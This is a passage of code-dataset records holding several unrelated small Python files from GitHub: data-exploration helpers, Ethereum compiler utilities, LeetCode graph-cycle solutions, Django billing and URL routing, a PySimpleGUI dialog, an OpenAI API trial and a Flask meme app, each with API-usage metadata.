v in outlier_indices.items() if v > n)\n\n    return multiple_outliers\n\n\ndef check_train_test_set(train_data, test_data, index=None, col=None):\n    '''\n    Checks the distribution of train and test for uniqueness in order to determine\n    the best feature engineering strategy.\n    \n    Parameters:\n    -------------------\n        train_data: DataFrame\n\n            The first data set to join\n\n        test_data: DataFrame\n             \n             The second dataset to join\n\n        index: Str, Default None\n\n            An index column present in both dataset to be used in plotting\n        \n        col: Str, Default None\n\n            A feature present in both dataset used in plotting\n\n    \n    '''\n    print('There are {} training rows and {} test rows.'.format(train_data.shape[0], test_data.shape[0]))\n    print('There are {} training columns and {} test columns.'.format(train_data.shape[1], test_data.shape[1]))\n    \n    if index:\n        if train_data[index].nunique() == train_data.shape[0]:\n            print('Id field is unique.')\n        else:\n            print('Id field is not unique')\n\n        if len(np.intersect1d(train_data[index].values, test_data[index].values))== 0:\n            print('Train and test sets have distinct Ids.') \n        else:\n            print('Train and test sets IDs are the same.')\n            _space()\n\n        plt.plot(train_data.groupby(col).count()[[index]], 'o-', label='train')\n        plt.plot(test_data.groupby(col).count()[[index]], 'o-', label='test')\n        plt.title('Train and test instances overlap.')\n        plt.legend(loc=0)\n        plt.ylabel('number of records')\n        plt.show()\n        \n    \ndef _space():\n    print('\\n')\n\n        \n\ndef _match_date(data):\n    '''\n        Return a list of columns that matches the DateTime expression\n    '''\n    if (data.shape[0]) >= 20:\n        size = 20\n    else:\n        size = data.shape[0]\n    mask = data.sample(size).astype(str).apply(\n        lambda x: x.str.match(r'(\\d{2,4}-\\d{2}-\\d{2,4})+').all())\n    return set(data.loc[:, mask].columns)\n    \n\n\ndef display_rows(data,num=2):\n    '''\n    Displays the required number of rows\n    \n    '''\n    if data is None:\n        raise ValueError(\"data: Expecting a DataFrame/ numpy2d array, got 'None'\")\n\n    return data.head(num)\n", "repo_name": "risenW/datasist", "sub_path": "datasist/structdata.py", "file_name": "structdata.py", "file_ext": "py", "file_size_in_byte": 12064, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 155, "dataset": "github-code", "pt": "81", "api": [{"api_name": "IPython.display.display", "line_number": 61, "usage_type": "call"}, {"api_name": "IPython.display.display", "line_number": 65, "usage_type": "call"}, {"api_name": "IPython.display.display", "line_number": 69, "usage_type": "call"}, {"api_name": "IPython.display.display", "line_number": 80, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 80, "usage_type": "call"}, {"api_name": "IPython.display.display", "line_number": 93, "usage_type": "call"}, {"api_name": "IPython.display.display", "line_number": 97, "usage_type": "call"}, {"api_name": "IPython.display.display", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.object", "line_number": 102, "usage_type": "attribute"}, {"api_name": "pandas.Categorical", "line_number": 102, "usage_type": "attribute"}, {"api_name": "IPython.display.display", "line_number": 106, "usage_type": "call"}, {"api_name": "visualizations.class_count", "line_number": 112, "usage_type": "call"}, {"api_name": "IPython.display.display", "line_number": 116, "usage_type": "call"}, {"api_name": "visualizations.plot_missing", "line_number": 119, "usage_type": "name"}, {"api_name": "visualizations.plot_missing", "line_number": 120, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 225, "usage_type": "call"}, {"api_name": "visualizations.plot_missing", "line_number": 260, "usage_type": "call"}, {"api_name": "seaborn.countplot", "line_number": 306, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 307, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 307, "usage_type": "name"}, {"api_name": "pandas.concat", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 368, "usage_type": "call"}, {"api_name": "numpy.percentile", "line_number": 370, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 384, "usage_type": "call"}, {"api_name": "numpy.intersect1d", "line_number": 424, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 430, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 430, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 431, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 431, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 432, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 432, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 433, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 433, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 434, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 434, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 435, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 435, "usage_type": "name"}]}
{"seq_id": "71030704266", "text": "from pathlib import Path\nfrom typing import Any, Dict, Iterable, Tuple\n\nfrom eth_utils import to_dict, to_tuple\n\nfrom ethpm.tools import builder as b\nfrom vyper import compile_code\n\n\n@to_tuple\ndef generate_inline_sources(\n    compiler_output: Dict[str, Any], sources_dir: Path\n) -> Iterable[Dict[str, str]]:\n    for path in compiler_output.keys():\n        contract_type = path.split(\"/\")[-1].split(\".\")[0]\n        yield b.inline_source(\n            contract_type, compiler_output, package_root_dir=sources_dir\n        )\n\n\n@to_tuple\ndef generate_contract_types(\n    compiler_output: Dict[str, Any]\n) -> Iterable[Dict[str, Any]]:\n    for path in compiler_output.keys():\n        contract_type = path.split(\"/\")[-1].split(\".\")[0]\n        yield b.contract_type(contract_type, compiler_output)\n\n\n@to_dict\ndef create_raw_asset_data(source: str) -> Iterable[Tuple[str, Any]]:\n    out = compile_code(source, [\"abi\", \"bytecode\", \"bytecode_runtime\"])\n    yield \"abi\", out[\"abi\"]\n    yield \"evm\", create_raw_bytecode_object(out)\n\n\n@to_dict\ndef create_raw_bytecode_object(\n    compiler_output: Dict[str, Any]\n) -> Iterable[Tuple[str, Dict[str, Any]]]:\n    yield \"bytecode\", {\"object\": compiler_output[\"bytecode\"]}\n    yield \"deployedBytecode\", {\"object\": compiler_output[\"bytecode_runtime\"]}\n", "repo_name": "ethereum/twig", "sub_path": "twig/utils/compiler.py", "file_name": "compiler.py", "file_ext": "py", "file_size_in_byte": 1279, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.Dict", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 12, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 12, "usage_type": "name"}, {"api_name": "ethpm.tools.builder.inline_source", "line_number": 16, "usage_type": "call"}, {"api_name": "ethpm.tools.builder", "line_number": 16, "usage_type": "name"}, {"api_name": "eth_utils.to_tuple", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 23, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 23, "usage_type": "name"}, {"api_name": "ethpm.tools.builder.contract_type", "line_number": 27, "usage_type": "call"}, {"api_name": "ethpm.tools.builder", "line_number": 27, "usage_type": "name"}, {"api_name": "eth_utils.to_tuple", "line_number": 21, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 24, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 24, "usage_type": "name"}, {"api_name": "vyper.compile_code", "line_number": 32, "usage_type": "call"}, {"api_name": "eth_utils.to_dict", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 31, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 39, "usage_type": "name"}, {"api_name": "eth_utils.to_dict", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Iterable", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 40, "usage_type": "name"}]}
{"seq_id": "28848202265", "text": "from typing import List\nfrom collections import deque, defaultdict\n\n\nclass Solution:\n    # 268ms\n    # 记录BFS的每条路径，判断遍历点是否在当前路径中\n    def canFinish_bfs(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n        pre_dict = defaultdict(list)\n        for pre in prerequisites:\n            pre_dict[pre[1]].append(pre[0])\n\n        courses_list = list(range(numCourses))\n        while courses_list:\n            queue = deque()\n            queue.append([courses_list[0]])\n            traversed = {courses_list[0]}\n            while queue:\n                link = queue.popleft()\n                courses_next = pre_dict[link[-1]]\n                for course_next in courses_next:\n                    if course_next in link:\n                        return False\n                    else:\n                        queue.append(link + [course_next])\n                        traversed.add(course_next)\n            courses_list = list(set(courses_list) - traversed)\n        return True\n\n    # 64ms\n    # guided 使用拓扑法，无环 = 总有点入度为0\n    def canFinish_bfs2(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n        pre_dict = defaultdict(list)\n        # 计算每个点入度 (直接依赖点个数)\n        degree_dict = [0] * numCourses\n        for pre in prerequisites:\n            pre_dict[pre[1]].append(pre[0])\n            degree_dict[pre[0]] += 1\n\n        # 入度为0 = 谁都不依赖\n        queue = deque([i for i in range(numCourses) if degree_dict[i] == 0])\n        while queue:\n            course = queue.popleft()\n            # 删除该点，并其依赖的点度数减一\n            numCourses -= 1\n            for course_next in pre_dict[course]:\n                degree_dict[course_next] -= 1\n                if degree_dict[course_next] == 0:\n                    queue.append(course_next)\n        return numCourses == 0\n\n    # 60ms\n    # dfs每条路径，注意两种区别：1. 出现在当前路径中；2. 已经搜索过 (出现在其他路径中)\n    def canFinish_dfs(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n        pre_dict = defaultdict(list)\n        for pre in prerequisites:\n            pre_dict[pre[1]].append(pre[0])\n\n        def dfs(root):\n            if traversed[root] == 1:\n                return False\n            if traversed[root] == 2:\n                return True\n            # 当前路径记录\n            traversed[root] = 1\n            for child in pre_dict[root]:\n                if not dfs(child):\n                    return False\n            # 回溯，表示已经搜到过\n            traversed[root] = 2\n            return True\n\n        traversed = [0] * numCourses\n        for course in range(numCourses):\n            if not dfs(course):\n                return False\n        return True\n\n    # 724ms\n    # 对依赖边进行dfs\n    def canFinish_dfs2(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n        # 搜索同时删除每次使用的边\n        def find_next(course: int) -> List[int]:\n            next_c = []\n            for r in prerequisites:\n                if r[0] == course:\n                    next_c.append(r[1])\n                    prerequisites.remove(r)\n            return next_c\n\n        def dfs(root, path):\n            if root in path:\n                return False\n            new_path = path.copy()\n            new_path.add(root)\n            for child in find_next(root):\n                if not dfs(child, new_path):\n                    return False\n            return True\n\n        res = True\n        while prerequisites and res:\n            res = dfs(prerequisites[0][0], set())\n        return res\n\n    # 2424ms\n    # brute force 遍历所有依赖，并建立依赖表。如果表中有对角元素则出现循环依赖\n    def canFinish(self, numCourses: int, prerequisites: List[List[int]]) -> bool:\n        dep_table = [[0 for _ in range(numCourses)] for _ in range(numCourses)]\n        if not prerequisites:\n            return True\n        for pre in prerequisites:\n            for i in range(numCourses):\n                if dep_table[pre[1]][i] == 1:\n                    dep_table[pre[0]][i] = 1\n                    if dep_table[i][pre[0]] == 1:\n                        return False\n            dep_table[pre[0]][pre[1]] = 1\n            if dep_table[pre[1]][pre[0]] == 1:\n                return False\n        return True\n\n\nprint(Solution().canFinish(4, [[2,0],[1,0],[3,1],[3,2],[1,3]]))\nprint(Solution().canFinish(8, [[1,0],[2,6],[1,7],[6,4],[7,0],[0,5]]))\nprint(Solution().canFinish(3, [[1,0],[2,0]]))\nprint(Solution().canFinish(2, [[1,0]]))\nprint(Solution().canFinish(3, [[0,2],[1,2],[2,0]]))\nprint(Solution().canFinish(4, [[0,1],[2,3],[1,2],[3,0]]))\nprint(Solution().canFinish(1, []))\nprint(Solution().canFinish(3, [[1,0],[1,2],[0,1]]))\nprint(Solution().canFinish(2, [[1,0],[0,1]]))\n", "repo_name": "forest-sky-sea/Leetcode-Problems", "sub_path": "python/0207_course_schedule.py", "file_name": "0207_course_schedule.py", "file_ext": "py", "file_size_in_byte": 4886, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.List", "line_number": 8, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 9, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 15, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 32, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 33, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 41, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 54, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 55, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 81, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 83, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 108, "usage_type": "name"}]}
{"seq_id": "10855583262", "text": "from django.db import transaction\nfrom django.db.models import F\n\nfrom .models import User\n\n\n@transaction.atomic\ndef make_transfer(user, amount, recipients):\n    user.balance -= amount\n    user.save()\n    per_recipient_amount = amount / len(recipients)\n    recipients_ids = [r.pk for r in recipients]\n    User.objects.filter(pk__in=recipients_ids).update(balance=F('balance') + per_recipient_amount)\n", "repo_name": "srgypetrov/test.money_form", "sub_path": "users/billing.py", "file_name": "billing.py", "file_ext": "py", "file_size_in_byte": 400, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "models.User.objects.filter", "line_number": 13, "usage_type": "call"}, {"api_name": "models.User.objects", "line_number": 13, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.F", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.transaction.atomic", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 7, "usage_type": "name"}]}
{"seq_id": "74486351625", "text": "import PySimpleGUI as sg\n\n# colors\nfrom utilities.common_utility import get_image_from_file\n\nWIN_COLOR = \"#282828\"\nTEXT_COLOR = \"#ffffff\"\n\n\ndef set_user_focus_area(da_care_config, focus_area_list):\n    da_care_config.set_area_list(focus_area_list)\n    print(f\"The User selected the following areas: {da_care_config.get_area_list()}\")\n\n\ndef display_focus_area_selector(da_care_config):\n    print(\"The user indicated that (s)he has a focus area today. Prompting the User to select a focus area . . .\")\n\n    # Add a title for the screen\n    frame_layout = [[sg.Image(data=get_image_from_file(\"DA Care Window Logo Small.png\"), background_color=WIN_COLOR),\n                     sg.Text('Please, tell me where it hurts', pad=((0, 10), (0, 0)), auto_size_text=True,\n                             background_color=WIN_COLOR, text_color=TEXT_COLOR)]]\n\n    # Add the checkboxes and descriptions\n    frame_layout += [[sg.CBox(option, key=f\"{option}\", auto_size_text=True, background_color=WIN_COLOR,\n                              text_color=TEXT_COLOR)] for option in da_care_config.get_option_map().keys()]\n\n    # Add the buttons for the selection pop-up\n    frame_layout += [\n        [sg.Column(layout=([[sg.Button(image_data=get_image_from_file(\"Final Yes.png\"), pad=((0, 15), (0, 0)),\n                                       key=\"-Submit-\"),\n                             sg.Button(image_data=get_image_from_file(\"Final No.png\"), key=\"-Exit-\")]]),\n                   background_color=WIN_COLOR, key=\"-Buttons-\",\n                   justification=\"right\", vertical_alignment=\"center\")]]\n\n    window_layout = [\n        [sg.Frame('', layout=frame_layout, border_width=0, background_color=WIN_COLOR, pad=((0, 0), (5, 5)))]]\n\n    window = sg.Window('', window_layout, keep_on_top=True, background_color=WIN_COLOR, grab_anywhere=True,\n                       no_titlebar=True, auto_size_text=True, finalize=True, resizable=False, alpha_channel=0.96)\n\n    # Set cursor format for the buttons and the checkboxes\n    window[\"-Buttons-\"].Widget.config(cursor=\"hand2\")\n    for option in da_care_config.get_option_map():\n        window[f\"{option}\"].Widget.config(cursor=\"hand2\")\n\n    while True:\n        event, values = window.read()\n        # print(event, values)\n\n        if event in (None, '-Exit-'):\n            break\n        elif event == '-Submit-':\n            focus_area_list = [option for option in values if values[option]]\n            set_user_focus_area(da_care_config, focus_area_list)\n            break\n\n    window.close()\n", "repo_name": "nagarajec/EDgeDACare", "sub_path": "welcome_process/focus_area_selection_handler.py", "file_name": "focus_area_selection_handler.py", "file_ext": "py", "file_size_in_byte": 2513, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PySimpleGUI.Image", "line_number": 19, "usage_type": "call"}, {"api_name": "utilities.common_utility.get_image_from_file", "line_number": 19, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 20, "usage_type": "call"}, {"api_name": "PySimpleGUI.CBox", "line_number": 24, "usage_type": "call"}, {"api_name": "PySimpleGUI.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 29, "usage_type": "call"}, {"api_name": "utilities.common_utility.get_image_from_file", "line_number": 29, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 31, "usage_type": "call"}, {"api_name": "utilities.common_utility.get_image_from_file", "line_number": 31, "usage_type": "call"}, {"api_name": "PySimpleGUI.Frame", "line_number": 36, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "18323574627", "text": "from requests import request\nimport os\nimport openai\n\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\nprompt = 'write me a song'\n\nresponse = openai.Completion.create(\n            model=\"text-davinci-002\",\n            prompt=prompt,\n            temperature=0.6,\n        )\nprint(response)\n\n\n\n# @app.route(\"/\", methods=(\"GET\", \"POST\"))\n# def index():\n#     if request.method == \"POST\":\n#         animal = request.form[\"animal\"]\n#         response = openai.Completion.create(\n#             model=\"text-davinci-002\",\n#             prompt=generate_prompt(animal),\n#             temperature=0.6,\n#         )\n#         return redirect(url_for(\"index\", result=response.choices[0].text))\n#\n#     result = request.args.get(\"result\")\n#     return render_template(\"index.html\", result=result)\n#\n#\n# def generate_prompt(x):\n#     return\n#\n# key = \"Write something\"\n#\n# generate_prompt(key)\n", "repo_name": "epbfpm/macaca.py", "sub_path": "failed gpt trial.py", "file_name": "failed gpt trial.py", "file_ext": "py", "file_size_in_byte": 874, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "openai.api_key", "line_number": 5, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 5, "usage_type": "call"}, {"api_name": "openai.Completion.create", "line_number": 9, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 9, "usage_type": "attribute"}]}
{"seq_id": "42528380231", "text": "from flask import Flask, render_template, request\nimport joke\nimport meme\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef landing():\n    return render_template(\"index.html\", joke=joke.get_joke())\n\n@app.route('/make_meme', methods=['GET', 'POST'])\ndef make_meme():\n    top = request.form.get('top')\n    bottom = request.form.get('bottom')\n    filename = meme.make_meme(top, bottom)\n    print(filename)\n    return render_template('index.html', filename=\"./static/\"+filename, joke=joke.get_joke())\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n", "repo_name": "janousek77/memes", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 544, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 9, "usage_type": "call"}, {"api_name": "joke.get_joke", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "meme.make_meme", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 17, "usage_type": "call"}, {"api_name": "joke.get_joke", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "43223774998", "text": "\"\"\"management URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/4.0/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  path('', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.urls import include, path\n    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nfrom giaovien import views as giaovien_views\nfrom django.conf.urls.static import static\nfrom django.urls import path\nfrom django.conf import settings\nfrom giaovien import studentViews\n\n\n\nurlpatterns = [\n    path('admin/', admin.site.urls),\n    path('', giaovien_views.DashboardView.as_view(),name='dashboard'),\n    path(\"profile/\", giaovien_views.ProfileEditView.as_view(), name='profile'),\n    path(\"login/\", giaovien_views.SiteLoginView.as_view(), name='login'),\n    path(\"logout/\", giaovien_views.SiteLogoutView.as_view(), name='logout'),\n    path(\"quanlygiaovien\", giaovien_views.QuanLyGiaoVienView.as_view(), name='quanlygiaovien'),\n    path(\"themgiaovien/\", giaovien_views.SiteAddNewGiaoVienView.as_view(), name='themgiaovien'),\n    path(\"addNewGV/\",giaovien_views.SiteAddNewGiaoVienView.as_view(),name='addNewGV'),\n    path('add_student', studentViews.add_student,name=\"add_student\"),\n    path('add_student_save', studentViews.add_student_save,name=\"add_student_save\"),\n    path('quanlyhocsinh', studentViews.manage_student,name=\"manage_student\"),\n    path('edit_student/<str:student_id>', studentViews.edit_student,name=\"edit_student\"),\n    path('edit_student_save', studentViews.edit_student_save,name=\"edit_student_save\"),\n    path('add_grade', studentViews.add_grade,name=\"add_grade\"),\n    path('add_grade_save', studentViews.add_grade_save,name=\"add_grade_save\"),\n    path('quanlylophoc', studentViews.manage_grade,name=\"manage_grade\"),\n    path('edit_grade/<str:maLopHoc>', studentViews.edit_grade,name=\"edit_grade\"),\n    path('edit_grade_save', studentViews.edit_grade_save,name=\"edit_grade_save\"),\n    path('edit_teacher/<str:usernameTeacher>', studentViews.edit_teacher,name=\"edit_teacher\"),\n    path('edit_teacher_save', studentViews.edit_teacher_save,name=\"edit_teacher_save\"),\n    path('add_course', studentViews.add_course,name=\"add_course\"),\n    path('add_course_save', studentViews.add_course_save,name=\"add_course_save\"),\n    path('quanlymonhoc', studentViews.manage_course,name=\"manage_course\"),\n    path('edit_course/<str:maMonHoc>', studentViews.edit_course,name=\"edit_course\"),\n    path('edit_course_save', studentViews.edit_course_save,name=\"edit_course_save\"),\n    \n    \n] + static(settings.MEDIA_URL,document_root =settings.MEDIA_ROOT)\n\n\n", "repo_name": "xitun1234/manage_student", "sub_path": "management/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 2974, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 28, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 29, "usage_type": "call"}, {"api_name": "giaovien.views.DashboardView.as_view", "line_number": 29, "usage_type": "call"}, {"api_name": "giaovien.views.DashboardView", "line_number": 29, "usage_type": "attribute"}, {"api_name": "giaovien.views", "line_number": 29, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 30, "usage_type": "call"}, {"api_name": "giaovien.views.ProfileEditView.as_view", "line_number": 30, "usage_type": "call"}, {"api_name": "giaovien.views.ProfileEditView", "line_number": 30, "usage_type": "attribute"}, {"api_name": "giaovien.views", "line_number": 30, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 31, "usage_type": "call"}, {"api_name": "giaovien.views.SiteLoginView.as_view", "line_number": 31, "usage_type": "call"}, {"api_name": "giaovien.views.SiteLoginView", "line_number": 31, "usage_type": "attribute"}, {"api_name": "giaovien.views", "line_number": 31, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 32, "usage_type": "call"}, {"api_name": "giaovien.views.SiteLogoutView.as_view", "line_number": 32, "usage_type": "call"}, {"api_name": "giaovien.views.SiteLogoutView", "line_number": 32, "usage_type": "attribute"}, {"api_name": "giaovien.views", "line_number": 32, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 33, "usage_type": "call"}, {"api_name": "giaovien.views.QuanLyGiaoVienView.as_view", "line_number": 33, "usage_type": "call"}, {"api_name": "giaovien.views.QuanLyGiaoVienView", "line_number": 33, "usage_type": "attribute"}, {"api_name": "giaovien.views", "line_number": 33, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 34, "usage_type": "call"}, {"api_name": "giaovien.views.SiteAddNewGiaoVienView.as_view", "line_number": 34, "usage_type": "call"}, {"api_name": "giaovien.views.SiteAddNewGiaoVienView", "line_number": 34, "usage_type": "attribute"}, {"api_name": "giaovien.views", "line_number": 34, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 35, "usage_type": "call"}, {"api_name": "giaovien.views.SiteAddNewGiaoVienView.as_view", "line_number": 35, "usage_type": "call"}, {"api_name": "giaovien.views.SiteAddNewGiaoVienView", "line_number": 35, "usage_type": "attribute"}, {"api_name": "giaovien.views", "line_number": 35, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 36, "usage_type": "call"}, {"api_name": "giaovien.studentViews.add_student", "line_number": 36, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 36, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 37, "usage_type": "call"}, {"api_name": "giaovien.studentViews.add_student_save", "line_number": 37, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 37, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 38, "usage_type": "call"}, {"api_name": "giaovien.studentViews.manage_student", "line_number": 38, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 38, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 39, "usage_type": "call"}, {"api_name": "giaovien.studentViews.edit_student", "line_number": 39, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 39, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 40, "usage_type": "call"}, {"api_name": "giaovien.studentViews.edit_student_save", "line_number": 40, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 40, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 41, "usage_type": "call"}, {"api_name": "giaovien.studentViews.add_grade", "line_number": 41, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 41, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 42, "usage_type": "call"}, {"api_name": "giaovien.studentViews.add_grade_save", "line_number": 42, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 42, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 43, "usage_type": "call"}, {"api_name": "giaovien.studentViews.manage_grade", "line_number": 43, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 43, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 44, "usage_type": "call"}, {"api_name": "giaovien.studentViews.edit_grade", "line_number": 44, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 44, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 45, "usage_type": "call"}, {"api_name": "giaovien.studentViews.edit_grade_save", "line_number": 45, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 45, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 46, "usage_type": "call"}, {"api_name": "giaovien.studentViews.edit_teacher", "line_number": 46, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 46, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 47, "usage_type": "call"}, {"api_name": "giaovien.studentViews.edit_teacher_save", "line_number": 47, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 47, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 48, "usage_type": "call"}, {"api_name": "giaovien.studentViews.add_course", "line_number": 48, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 48, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 49, "usage_type": "call"}, {"api_name": "giaovien.studentViews.add_course_save", "line_number": 49, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 49, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 50, "usage_type": "call"}, {"api_name": "giaovien.studentViews.manage_course", "line_number": 50, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 50, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 51, "usage_type": "call"}, {"api_name": "giaovien.studentViews.edit_course", "line_number": 51, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 51, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 52, "usage_type": "call"}, {"api_name": "giaovien.studentViews.edit_course_save", "line_number": 52, "usage_type": "attribute"}, {"api_name": "giaovien.studentViews", "line_number": 52, "usage_type": "name"}, 